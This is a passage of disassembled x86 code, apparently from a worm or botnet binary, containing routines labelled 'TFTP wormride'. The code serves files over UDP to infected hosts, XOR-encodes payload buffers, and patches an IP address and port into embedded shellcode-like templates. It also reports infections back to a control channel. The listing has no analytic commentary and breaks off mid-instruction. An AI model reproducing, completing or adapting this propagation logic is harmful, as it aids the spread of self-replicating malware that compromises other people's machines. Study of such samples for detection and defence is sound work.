loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EAE0 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EAE4 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DA80 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EAEC, 0 jnz loc_4128A0 mov dword_41EAEC, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA40[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA40[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EAF0, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EAF0, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41EC10 call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCCE[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCA8 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DA80 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC40 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC44 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EAF4 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CC48 push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call 